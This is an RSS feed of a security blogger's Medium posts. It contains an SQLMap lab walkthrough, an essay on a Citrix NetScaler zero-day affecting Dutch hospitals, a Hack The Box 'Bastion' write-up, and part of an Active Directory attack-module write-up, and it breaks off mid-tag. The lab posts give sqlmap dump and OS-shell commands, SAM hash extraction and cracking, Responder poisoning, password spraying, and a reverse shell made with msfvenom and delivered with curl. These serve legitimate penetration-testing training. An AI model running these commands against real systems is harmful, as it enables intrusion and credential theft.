<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jordi Been on Medium]]></title>
        <description><![CDATA[Stories by Jordi Been on Medium]]></description>
        <link>https://medium.com/@jordi_been?source=rss-bcfb9884f0cc------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Jordi Been on Medium</title>
            <link>https://medium.com/@jordi_been?source=rss-bcfb9884f0cc------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 17:17:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jordi_been/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SQLMap Essentials]]></title>
            <link>https://medium.com/@jordi_been/sqlmap-essentials-b0fc985e6b93?source=rss-bcfb9884f0cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0fc985e6b93</guid>
            <dc:creator><![CDATA[Jordi Been]]></dc:creator>
            <pubDate>Wed, 30 Sep 2026 20:31:01 GMT</pubDate>
            <atom:updated>2026-09-30T20:31:01.911Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>What’s the contents of table flag2? (Case #2)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b9fnN0DejAZGVEvPAlyaag.png" /><figcaption>sqlmap -u “<a href="http://154.57.164.78:31678/case2.php">http://154.57.164.78:31678/case2.php</a>&quot; — data ‘id=1’ — batch — dump</figcaption></figure><p><strong>What’s the contents of table flag3? (Case #3)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EqOM_ZX8Bs79h3ve6_2uew.png" /><figcaption>sqlmap -u “<a href="http://154.57.164.78:31678/case3.php">http://154.57.164.78:31678/case3.php</a>&quot; -H ‘Cookie: id=*’ — batch — dump</figcaption></figure><p><strong>What’s the contents of table flag4? (Case #4)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*iwcHb-YK07WpsBja8Ow0PQ.png" /><figcaption>Intercept the request with Burp. Forward the traffic to a post request and save the post request to a file “case4.txt”.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8DU14o4_Dp8yk49xxJdEug.png" /><figcaption>sqlmap -r case4.txt — batch — dump</figcaption></figure><p><strong>What’s the contents of table flag5? (Case #5)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*WsN51TEVpM4bONZ3o7X-JQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PY1wf7XBDpDjNBGVlaJgKw.png" /><figcaption>sqlmap -u “<a href="http://154.57.164.76:30675/case5.php?id=*">http://154.57.164.76:30675/case5.php?id=*</a>&quot; — level=5 — risk=3 -T flag5 — batch — dump</figcaption></figure><p><strong>What’s the contents of table flag6? (Case #6)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*QTjkU9brvWKz9TRAvItNbQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/563/1*hwQiEZgP-fRzuA4yi_8HTw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aU9A_ENL_NHDaEwYzBZDew.png" /><figcaption>sqlmap -u “<a href="http://154.57.164.76:30675/case6.php?col=id">http://154.57.164.76:30675/case6.php?col=id</a>&quot; — prefix=’`)’ -T flag6 — batch — dump</figcaption></figure><p><strong>What’s the contents of table flag7? (Case #7)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Ce-xDSBeIOW-3ReC-s3Yw.png" /><figcaption>sqlmap -u “<a href="http://154.57.164.76:30675/case7.php?id=1">http://154.57.164.76:30675/case7.php?id=1</a>&quot; -T flag7 — technique=U — union-cols=5 — dump</figcaption></figure><p><strong>What’s the contents of table flag1 in the testdb database? (Case #1)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KLi260oDf6NhsA_DZgXVhA.png" /><figcaption>sqlmap -u “<a href="http://154.57.164.76:30675/case1.php?id=1">http://154.57.164.76:30675/case1.php?id=1</a>&quot; — banner — current-user — current-db — is-dba — batch — dump</figcaption></figure><p><strong>What’s the name of the column containing “style” in it’s name? (Case #1)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7N79CkwspDRjt-ieVRMAlQ.png" /><figcaption>sqlmap -u “<a href="http://154.57.164.76:30675/case1.php?id=1">http://154.57.164.76:30675/case1.php?id=1</a>&quot; — schema — search -C style — batch</figcaption></figure><p><strong>What’s the Kimberly user’s password? (Case #1)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*JWt0lo_LlwHGR7sePObeqA.png" /><figcaption>sqlmap -u “<a href="http://154.57.164.83:30448/case1.php?id=1">http://154.57.164.83:30448/case1.php?id=1</a>&quot; — schema</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7N79CkwspDRjt-ieVRMAlQ.png" /><figcaption>sqlmap -u “<a href="http://154.57.164.83:30448/case1.php?id=1">http://154.57.164.83:30448/case1.php?id=1</a>&quot; — dump -D testdb -T users — batch</figcaption></figure><p><strong>What’s the contents of table flag8? (Case #8)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/1*XnOwleAVkC0ZylQ1lENDSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GKjHk5ffo35zmFUoQJjpzQ.png" /><figcaption>sqlmap -u “<a href="http://154.57.164.83:30448/case8.php?id=*">http://154.57.164.83:30448/case8.php?id=*</a>&quot; — data=”id=1&amp;t0ken=AWZLDNGzimhwts6XRfGyrnZr7wXGKTAxtIQRrrv8KSo” — csrf-token=”t0ken” — batch — dump</figcaption></figure><p><strong>What’s the contents of table flag9? (Case #9)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*gNy79PKrjo_XBWJqHdDVhg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ROoDWel8fM4XU64ngE25iA.png" /><figcaption>sqlmap -u “<a href="http://154.57.164.83:30876/case9.php?id=1&amp;uid=3262887509">http://154.57.164.83:30876/case9.php?id=1&amp;uid=3262887509</a>&quot; — randomize=uid — batch — dump</figcaption></figure><p><strong>What’s the contents of table flag10? (Case #10)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4aECo6bjWS7nPZwIaO4_yA.png" /><figcaption>sqlmap -u “<a href="http://154.57.164.78:30849/case10.php">http://154.57.164.78:30849/case10.php</a>&quot; — data=”id=1&quot; — random-agent — batch — dump</figcaption></figure><p><strong>What’s the contents of table flag11? (Case #11)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8bP-ThxxezXeazf4HQPSBA.png" /><figcaption>sqlmap -u “<a href="http://154.57.164.78:30849/case11.php?id=1">http://154.57.164.78:30849/case11.php?id=1</a>&quot; — tamper=between — batch — dump</figcaption></figure><p><strong>Try to use SQLMap to read the file “/var/www/html/flag.txt”.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bYjOrA7m13XYQkRiw9sr2A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*n9FQ1r-v6ZEhiC9Mx3EJTA.png" /></figure><p><strong>Use SQLMap to get an interactive OS shell on the remote host and try to find another flag within the host.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*9S2xvsBKtBGbu5TvxAgHnQ.png" /></figure><p><strong>What’s the contents of table final_flag?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QmTZWbMRjeYwpG1E-UyX9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*PBipblwBIRy108-jx-2JPQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*siNppvAGBVshc8v-NXolbA.png" /><figcaption>All options are required to bypass the protections put forth to protect the database.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CeR2UV2ek9i-Cfgs0Ycgww.png" /><figcaption>We add the name of the database and the name of the table “final_flag”.</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b0fc985e6b93" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Citrix Zero-Day: How Vulnerable Is the Netherlands’ Digital Infrastructure?]]></title>
            <link>https://medium.com/@jordi_been/citrix-zero-day-how-vulnerable-is-the-netherlands-digital-infrastructure-c85b0c3cc5b1?source=rss-bcfb9884f0cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/c85b0c3cc5b1</guid>
            <category><![CDATA[citrix]]></category>
            <category><![CDATA[rce]]></category>
            <category><![CDATA[zero-day]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Jordi Been]]></dc:creator>
            <pubDate>Mon, 28 Sep 2026 11:43:26 GMT</pubDate>
            <atom:updated>2026-09-28T11:43:26.461Z</atom:updated>
            <content:encoded><![CDATA[<p>A critical vulnerability in Citrix NetScaler is putting Dutch hospitals and government organizations under pressure. Patients temporarily lose access to their medical records, civil servants can no longer work remotely, and security teams are forced to make decisions under intense time pressure. These events highlight how dependent our digital infrastructure has become on systems we take for granted every day.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W9mHXC_SQDbuAcANtjYD9g.png" /></figure><p>On September 26, 2026, reports emerged of two newly discovered, actively exploited vulnerabilities in Citrix NetScaler ADC and NetScaler Gateway.</p><p>NetScaler serves as a gateway to internal systems for many organizations. It is used for VPN connections, remote access, and load balancing. An attacker who exploits a vulnerability in such a system may be able to gain access to systems that would normally be protected by multiple layers of security.</p><p>On September 27, Citrix confirmed that two vulnerabilities were being actively exploited and released security updates. The vulnerabilities were assigned the identifiers <strong>CVE-2026–88771</strong> and <strong>CVE-2026–88772</strong>.</p><p>The potential impact is significant. This is not simply a matter of installing a security update. Organizations must also consider whether attackers may have already gained access to their systems.</p><blockquote>The consequences became visible in the Dutch healthcare sector over the weekend.</blockquote><p>Several hospitals temporarily restricted access to patient environments. Amphia, Elisabeth-TweeSteden Hospital, and Frisius MC were among the organizations mentioned in media reports.</p><p>Patients temporarily lost access to their medical records through online portals. According to reports, healthcare professionals retained access to patient records.</p><p>Z-CERT, the cybersecurity center for the Dutch healthcare sector, warned affiliated organizations about the vulnerabilities and their potential consequences.</p><p>The impact was also felt within the government. According to media reports, employees of the Dutch Ministry of the Interior and Kingdom Relations were temporarily unable to work remotely after Citrix applications were taken offline.</p><p>These measures demonstrate how heavily organizations depend on systems that enable remote access. When the security of such a gateway cannot be guaranteed, shutting it down may become necessary.</p><p>At the same time, doing so directly affects the availability of digital services.</p><h3>Patching does not automatically mean you are secure</h3><p>One of the most important lessons from this incident is that installing a security update does not automatically mean a system is secure again.</p><p>If attackers have already exploited a vulnerability, they may have gained access before a patch became available. Installing an update does not necessarily remove that existing access.</p><p>Organizations must therefore do more than simply verify that their NetScaler systems have been updated. They must also investigate whether there are signs of a previous compromise.</p><p>This requires more than a technical update. It involves examining log files, network traffic, access permissions, and the potential impact on connected systems.</p><p>For security teams, this means answering several questions under time pressure: Which systems are vulnerable? Which services depend on those systems? And what measures are necessary to prevent further damage?</p><h3>The real question: How resilient are we?</h3><p>The Citrix incident highlights how heavily organizations depend on centralized access systems. A single vulnerable component can affect access to medical records, government services, and internal business processes.</p><p>The challenge is not simply to apply patches as quickly as possible. It is also about whether organizations are prepared to temporarily shut down critical systems, whether alternative procedures are available, and whether security teams have sufficient information to make timely decisions.</p><p>For hospitals, temporarily disabling an access system may mean that patients can no longer use certain digital services. For government organizations, it may mean that employees are temporarily unable to work remotely.</p><blockquote>This makes cybersecurity more than a technical issue. It also becomes a question of operational continuity and service availability.</blockquote><h3>What can we learn from this?</h3><p>The events of September 2026 demonstrate that the resilience of digital infrastructure depends not only on technology itself but also on how well organizations prepare for incidents.</p><p>Organizations must know not only how to remediate a vulnerability but also how to maintain essential services when a critical system becomes temporarily unavailable.</p><p>This requires effective incident response, a clear understanding of system dependencies, and well-defined agreements between IT, security, and the business units responsible for service delivery.</p><p>The Citrix vulnerabilities serve as a concrete reminder of a fundamental challenge: <strong>How do we keep our digital infrastructure available and secure when a critical component comes under attack?</strong></p><blockquote><strong>Because when a gateway proves vulnerable, the question is not just how quickly we can fix it. The question is also what happens when we have to shut it down.</strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c85b0c3cc5b1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box write-up: Bastion]]></title>
            <link>https://medium.com/@jordi_been/hack-the-box-write-up-bastion-8567de0e2205?source=rss-bcfb9884f0cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/8567de0e2205</guid>
            <dc:creator><![CDATA[Jordi Been]]></dc:creator>
            <pubDate>Fri, 11 Sep 2026 16:31:01 GMT</pubDate>
            <atom:updated>2026-09-11T16:31:01.689Z</atom:updated>
            <content:encoded><![CDATA[<p>Today, I’m taking on a retired Hack The Box machine: <strong>Bastion</strong>.</p><p>This time, I’m following the Guided Mode. Rather than simply giving you the commands and the answers, I want to use the guided questions to show you how to approach a machine and more importantly, how to develop the right hacker mindset.</p><p>Throughout this walkthrough, I’ll explain not only <em>what</em> I did, but also <em>why</em> I did it. The goal is to help you recognize similar situations on other machines and eventually solve them on your own.</p><p>So, grab your terminal, start enumerating, and let’s see what Bastion has waiting for us. And as always, feel free to share your own tips or alternative approaches at the end!</p><p><strong>How many TCP ports are open on the remote host? 4</strong></p><p>Well… this question might need a small correction.</p><p>A full port scan actually reveals 13 open TCP ports. So why does the answer say 4?</p><p>The key word here is common.</p><p>Instead of scanning all 65,535 TCP ports, the guided question is referring to the common TCP ports scanned by Nmap’s default scan.</p><p>To answer the question, I therefore started with a scan of the common ports:</p><pre>nmap -sT --min-rate=5000 10.129.136.29</pre><p>The result gives us the four common ports we’re looking for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*ZfgnhaMY9LkNtGRYsk5NiQ.png" /><figcaption>-sT to scan a TCP connect scan (TCP handshake)</figcaption></figure><p>If I perform a full port scan, I find 13 open TCP ports. So, below we can see the difference between the common TCP ports and all TCP ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*c4O7qbGuUnFKsZEcrhm8Mg.png" /></figure><p>If you want to learn more about common TCP ports and why they are often scanned first, check out this article: <a href="https://www.cbtnuggets.com/common-ports?utm_source=chatgpt.com">Common Ports — CBT Nuggets</a></p><p><strong>What is the name of the non-standard SMB share on Bastion? Backups</strong></p><p>We already know that SMB is running on port 445. To get more information about the services running on the target, I can use Nmap’s -A option, which enables several advanced detection features.</p><p>Among other things, Nmap runs scripts that can provide additional information about the SMB service, including whether certain forms of guest or anonymous access might be possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*oa2ak8SYwf_vxs-y_xQJ0g.png" /></figure><p>Next, I use NetExec (nxc) to enumerate the available SMB shares using the Anonymous account. This reveals an interesting share called Backups, and even better, I have both READ and WRITE permissions.</p><p>That immediately raises a question: <em>What exactly is stored in this share?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UuhnSXlII5iLP2J1i7jmxw.png" /></figure><p><strong>What is the file extension of the two most interesting files on the share? VHD</strong></p><p>To search for interesting files on the share, I use the spider_plus module of NetExec. The results reveal two files with a .vhd extension.</p><p>A VHD (Virtual Hard Disk) is a virtual disk image that can contain an entire file system, including partitions, folders, and files. In other words, it can essentially be a virtual hard drive stored inside a single file.</p><p>And this is where things start getting interesting.</p><p>If the VHD contains a Windows installation, there is a chance that we can access files from that system without actually having access to the running operating system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rRFcCepbFxAPwnIW2j7cwg.png" /></figure><p><strong>Two files are needed from a Windows machine to dump its user hashes. One is SAM. What is the other? SYSTEM</strong></p><p>This is more of a theoretical question, but it’s worth understanding because it explains why the VHD files are so interesting.</p><p>The Windows <strong>SAM (Security Account Manager)</strong> hive contains credential information for local Windows accounts, including password hashes. The <strong>SYSTEM</strong> hive contains key material used as part of the protection of the SAM data.</p><p>Therefore, having both the SAM and SYSTEM files allows tools such as impacket-secretsdump to extract the local account password hashes.</p><p>So now we have a new objective: find the SAM and SYSTEM files inside the VHD.</p><p>To access the contents of the VHD, I first need to mount it. The article below explains how to do this:</p><p><a href="https://medium.com/@klockw3rk/mounting-vhd-file-on-kali-linux-through-remote-share-f2f9542c1f25">Mounting VHD file on Kali Linux through remote share</a></p><p>After following the steps described in the article, I can browse the contents of the virtual disk and start looking for the files I’m interested in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*iYBV-s1aFnfLtj5hS13n7A.png" /></figure><p>And there they are: SAM and SYSTEM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9JmUfXMvsq-CmbKsbzOoaw.png" /></figure><p>I copy both files to my own system and use impacket-secretsdump to extract the local account hashes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9JmUfXMvsq-CmbKsbzOoaw.png" /></figure><p>The output contains the NT hashes of the local accounts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*iNuBdYzUgy88gsek0Q1kLg.png" /></figure><p><strong>What is the password for user L4mpje?</strong> <strong>bureaulampje<br></strong>Now that I have the password hash, it’s time to see whether it can be cracked.</p><p>I use John the Ripper to crack the hash, and eventually recover the password: bureaulampje</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*a0F2UkAuv0XiOmrUU_2nTQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/789/1*zKHDThvBk7JbrFzML6Tsfw.png" /></figure><p><strong>Submit the flag located on the L4mpje user’s desktop.</strong> <strong>DONE</strong></p><p><strong>What is the name of the remote connection management tool installed on Bastion?</strong> <strong>mRemoteNG</strong></p><p>To answer this question, I start exploring the file system. One of the places worth checking is Program Files.</p><p>I notice that there are two different Program Files directories. The Program Files (x86) directory is generally used for 32-bit applications, while the regular Program Files directory is typically used for 64-bit applications.</p><p>While browsing through the installed applications, one name immediately catches my attention: mRemoteNG.</p><p>mRemoteNG is an open-source remote connection manager for Windows. It allows users to manage multiple remote connections from a single interface, including protocols such as RDP, SSH, Telnet, and VNC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*ooRg_ZQFxq0k7JPrbTeQIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*ow98MtLS9VtXSyzY0DqMmA.png" /></figure><p><strong>What is the name of the file that mRemoteNG uses to store encrypted user passwords? confCons.xml.20190222–1403486580.backup</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RhcdbGdScg5xdMxWv3cJXA.png" /></figure><p>When I inspect the mRemoteNG installation directory, I find several backup configuration files, including files with names such as:</p><pre>confCons.xml.20190222-140XXXXXXX.backup</pre><p>These configuration files can contain encrypted connection credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/752/1*FQJnIGKZ3Ba7vsEg1v3ZNA.png" /></figure><p><strong>What is the administrator’s password?</strong> <strong>thXLHM96BeKL0ER2</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*0_hCw6zzNNi4IqcEuWvZnQ.png" /></figure><p>At this point, I have another interesting lead. I search online for information about how mRemoteNG stores and encrypts passwords.</p><p>I find a tool that can decrypt mRemoteNG credentials:</p><p><a href="https://keydecryptor.com/decryption-tools/mremoteng?utm_source=chatgpt.com">mRemoteNG Decryption Tool</a></p><p>After decrypting the stored credential, I can recover the plaintext password.</p><p>And with that, I have everything I need to fully compromise the machine.</p><p><strong>Submit the flag located on the administrator’s desktop.</strong> <strong>DONE</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/544/1*jWrJjnrqreZNJSy2LdTWGw.png" /></figure><p><strong>Bastion is rooted.</strong></p><p>What started with a few open ports and an SMB share eventually led to a VHD containing a Windows file system, local account hashes, and finally stored credentials from mRemoteNG.</p><p>And that’s the end of this box.</p><p>Hopefully you enjoyed the walkthrough and more importantly, picked up a few ideas that you can apply to your own enumeration process. The goal isn’t to memorize a list of commands, but to learn how one discovery can lead to the next.</p><h4>Don’t forget to <strong>like</strong> or <strong>follow my account</strong> for more hacking content!</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/542/1*eNTvEALCNobp0rs3tx9L9Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8567de0e2205" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Write up: Active Directory Enumeration & Attacks]]></title>
            <link>https://medium.com/@jordi_been/write-up-active-directory-enumeration-attacks-bd909caf2792?source=rss-bcfb9884f0cc------2</link>
            <guid isPermaLink="false">https://medium.com/p/bd909caf2792</guid>
            <dc:creator><![CDATA[Jordi Been]]></dc:creator>
            <pubDate>Fri, 21 Aug 2026 23:01:02 GMT</pubDate>
            <atom:updated>2026-08-22T07:23:56.621Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>Write-up: HTB CPTS — Active Directory Enumeration &amp; Attacks</strong></h4><p>In this article, I’ll break down some parts of the CPTS module Active Directory Enumeration &amp; Attacks.<br> I’ll walk through a few questions along the way, so let’s dive in!Oh and one quick note before we start: practice as much as you can. The more you practice, the more you’ll see your hacking skills improve.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/0*nAD9vWNLPkLlRVdK.gif" /></figure><p><strong>External Recon and Enumeration Principles<br></strong><em>While looking at inlanefreights public records; A flag can be seen. Find the flag and submit it. ( format == HTB{******} )</em></p><p>This chapter focuses on<strong> </strong>external reconnaissance of the target. To answer this question, we can easily use the CLI on our attack machine with the following command: <strong>dig inlanefreight.com any .<br></strong>From the output, we found a TXT record containing our flag: HTB{XXXXXXXXXXXXXXX}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mMUuiojbf4bch_B5SOUbjw.png" /></figure><p><strong>Initial Enumeration of the Domain<br></strong>After gathering the basic information and getting an initial picture of what to expect from the customer through the scoping documents, we move on to an attack host placed inside the network.</p><p><em>From your scans, what is the “commonName” of host 172.16.5.5 ?</em></p><p>First, we establish an encrypted SSH connection to the target machine. After logging in as the user “htb-student”, we check the network configuration using ifconfig (Linux). We notice that we are part of the internal network 172.16.5.0/23.</p><p>Next, we perform a port scan against the target host 172.16.5.5 to identify its common name. We use the following command: nmap -A -p- 172.16.5.5 . From the scan results, we observe that the SSL certificate has the common name: <strong>ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL</strong> .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/698/1*plJjLaoeelgOriCzS7PsUA.png" /></figure><p><em>What host is running “Microsoft SQL Server 2019 15.00.2000.00”? (IP address, not Resolved name)</em></p><p>To answer this question, we start with a <strong>ping sweep</strong> across the internal network. This can be done using a custom script or a common tool such as fping. We use the following syntax: fping -asgq 172.16.5.0/23</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*AM0OhVMZd6ZiwFkEEjumTQ.png" /></figure><p>This allows us to identify which hosts are alive. Next, we perform port scans against the discovered hosts. We notice that host 172.16.5.130 has port 1433 (ms-sql-server) open and is running: Microsoft SQL Server 2019 15.00.2000.00</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*jZeSFAm0bUbn7O38g41hTw.png" /></figure><p><strong>LLMNR/NBT-NS Poisoning — from Linux<br></strong><em>Run Responder and obtain a hash for a user account that starts with the letter b. Submit the account name as your answer.</em></p><p>Recall that the internal network is connected to the interface <strong>ens224</strong> (as seen with ifconfig.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*oiYCakBAu9tTB6i06BHcCw.png" /></figure><p>We start Responder on our attack machine using the following command: Responder -I ens224 <br>After running Responder, we successfully capture NTLM hashes. One of the captured hashes belongs to a user account starting with the letter b:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PrOGSjp4u0yim82gyTFkAA.png" /></figure><p><em>Crack the hash for the previous account and submit the cleartext password as your answer.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6kmRKXeJCznr2POgHwuEPw.png" /></figure><p>To crack the obtained hash, we use hashcat with the rockyou wordlist:<br>hashcat -m 5600 ntlm.hash /usr/share/wordlists/rockyou.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A792olRzC6dD7bC4KsX7Pg.png" /></figure><p><em>Run Responder and obtain an NTLMv2 hash for the user wley. Crack the hash using Hashcat and submit the user’s password as your answer.</em></p><p>We repeat the same steps as in the previous question to capture the NTLMv2 hash for the user wley. Once captured, we crack the hash using Hashcat to obtain the cleartext password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XDHODurpqEsA2jP4gZys_A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mDUgmPGSEC6J_K1BT3i8EQ.png" /></figure><p><strong>LLMNR/NBT-NS Poisoning — from Windows<br></strong>This chapter covered the use of Inveigh on a Windows system to capture NTLM hashes. Inveigh functions as the Windows counterpart to Responder and is particularly useful when operating from a Windows attack host or after gaining local administrator access on a compromised machine. The chapter focused on how Inveigh listens on multiple network protocols to intercept authentication attempts and collect NTLM credentials.</p><p><em>Run Inveigh and capture the NTLMv2 hash for the svc_qualys account. Crack and submit the cleartext password as the answer.</em></p><p>First we connect with our target with impacket-psexec. Than we establish a stable connection with our attack machine through a reverse shell. We create a reverse webshell with msfvenom and transfer this shell with a curl command to our victim. Than we’re listening on port 443 on our machine and we have active the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*Nt-WAjFCqctykcqgWjscUw.png" /></figure><p>Once we have a shell with our victim, we notice that in de file Tools there are several tools. One of this tools is Inveigh , what we can use to get ntlm hashes from users. For this question, we will use the C# version of Inveigh(.exe). Let’s go ahead and run the C# version with the defaults and start capturing hashes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*Zx0AD5xfD9-dPEu_qb-z0w.png" /></figure><p>When we obtained the ntlm hash from user svc_qualys, we can crack this hash as we did before with hashcat. Now we have the password in cleartext.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZUE_U7zpM9OOrgV-X9C8vA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*pmTV64RXM4jKfybLYdC4Aw.png" /></figure><p><strong>Enumerating &amp; Retrieving Password Policies<br></strong><em>What is the default Minimum password length when a new domain is created? (One number)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*r9O9alpdenE8SBLG.png" /></figure><p><em>What is the minPwdLength set to in the INLANEFREIGHT.LOCAL domain? (One number)<br></em>We can asnwer this question with the easy or the hard way. We’ve chosen for the hard way to see what the minPwdLength set is in the INLANEFREIGHT.LOCAL domain. <br>The easier way: enum4linux -P 172.16.5.5</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*bSRO9SQZyqTQwP4pVcd-8Q.png" /></figure><p><strong>Password Spraying — Making a Target User List<br></strong><em>Enumerate valid usernames using Kerbrute and the wordlist located at /opt/jsmith.txt on the ATTACK01 host. How many valid usernames can we enumerate with just this wordlist from an unauthenticated standpoint?</em></p><p>We’re doing a user enumeration with the tool kerbrute on the internal host 172.16.5.5. When we finished we see the test results: Done! Tested 48705 usernames (** valid)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*y3URlRmDTRS1OXrGb2_1qA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*waqlTztQi8q2LXqTuFo-AA.png" /></figure><p>With the command wc -l, I noticed I have the same amount of lines than the users we have. This extra check for yourself, confirmed that we dont miss any user.</p><p><em>Find the user account starting with the letter “s” that has the password Welcome1. Submit the username as your answer.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xybCelQeLC7fYcE6Ha4nXg.png" /></figure><p><strong>Internal Password Spraying — from Windows</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*yyyi5jQ0hnGPsNhq6Bnn0g.png" /></figure><p><strong>Credentialed Enumeration — from Linux</strong></p><p><em>What AD User has a RID equal to Decimal 1170?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*vFABXLorUUeSxUYwYy22PA.png" /></figure><p><em>What is the membercount: of the “Interns” group?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*TWfIshAGNlIMrH322AEXuw.png" /></figure><p><strong>Credentialed Enumeration — from Windows</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*csmNrjSBqS5cI0FT-kAYDA.png" /></figure><figure><img alt="" 